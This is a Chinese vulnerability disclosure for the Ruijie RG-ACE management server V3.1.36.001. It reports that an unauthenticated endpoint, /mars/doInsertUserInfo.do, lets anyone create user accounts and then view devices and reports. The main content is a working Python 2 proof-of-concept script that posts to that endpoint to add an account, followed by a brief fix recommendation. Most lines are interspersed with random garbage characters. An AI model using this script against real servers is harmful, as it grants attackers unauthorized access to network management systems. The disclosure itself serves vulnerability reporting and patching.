锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)2 v5 |% p# q B( O" Y& B
( P5 X1 v [- `. K& ? P
( G7 |/ W2 `. {( `" e
测试的具体版本是, W5 Y6 e4 k7 t4 T8 a
产品名称: 锐捷应用控制引擎
: I0 y' H$ ?2 L+ P: E$ w) G/ z版本号: 3.1.36.001 TC: n. f! }( B- X
编译时间: 201104291730
; r0 o/ C$ {2 ]1 Q5 Z+ T' \ " M0 R& d% p2 x1 c/ H
$ c$ g; x$ k- B S1 K/ o) o- Y/ z
漏洞证明:; C f" K2 x8 z' @' f$ n/ N- v! D
1 z7 \& |3 L% x. s; c2 F# ^3 u7 }1 g5 Y
n7 B" B- M b
6 T9 X% P0 G# K7 _' G
2 p1 ` i+ v. z! n" ?
) @- A: @ B/ [) @执行脚本
* A6 B5 y3 _" s! |) o# H, z' j#! /usr/bin/env python7 v% ^% s" E; I
#coding=gbk- J) O7 X' H& D4 z, n
#RG-ACE管理服务器 V3.1.36.001 C7 Z, ]: `3 O, ~: ]( V
import urllib2, urllib,cookielib
! y% n& h! N- Y$ turl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP6 b" b2 g: C$ O
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
! N7 a, C% f9 F/ [opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]( K t8 ^+ [: c* J
post=(("event","userManager.doInsertUserInfo"),9 l5 Z, o; ^2 P
("useractionname","addButtonValue"),
' V# c" z+ ]- e0 S( Y("useropermanager","userManager"),( u1 z3 J0 m" F
("userName","t"), #######账号自己加
% j) e+ R m) h' J("pwd","aaaaaa"),######密码自己加" E, }6 O# j# F2 G' L" L0 b% E
("trueName","ad"),
+ D/ Y: f D# w("email",""),* w; y R" I! ?4 f% ?& b+ t
("mobilePhone",""),
0 Q A$ o0 s5 e' {$ X$ y! s/ L("officePhone",""),
2 `3 w. n- f$ @! w+ B% @3 G' V2 R("addr",""),
% D, O; M) l3 _3 F8 G- z("submit","确定"))
. X, p% N2 n2 Z+ Surllib2.install_opener(opener)
- ~3 W6 Y" I2 J+ l7 Hp=urllib2.urlopen(url, urllib.urlencode(post)).read()+ e- N- l( Z8 F1 a! P6 \ M
print "Done"
! y+ X/ e$ E1 s" U" d9 o1 ^: ]1 T; l6 C& W
登录,连接设备; `2 ^& h- l6 e
" s0 v( _2 i3 G6 \
) W* e- a$ Q4 L! F! p
9 j3 N; l7 K7 E( E# [9 w4 E: s- M& N5 p7 S* @" d% U/ E9 Q
4 P8 F- ]) V9 J
默认的管理员admin权限更大点
; _+ V" A9 B9 D' Y
w9 X7 [% m6 z P7 [. |, [. F. }, h$ Z4 r6 @
3 r9 K0 t' x* J9 K* A
- J4 Y/ n5 j n" M" S! A
6 W% y' g6 }/ S8 y, A( J( P$ G& d& J修复方案:
' ~4 T7 x N/ b, t: J) H加强对接口的权限验证
/ l3 c9 o) m7 k5 Q1 L8 E E6 v$ u
|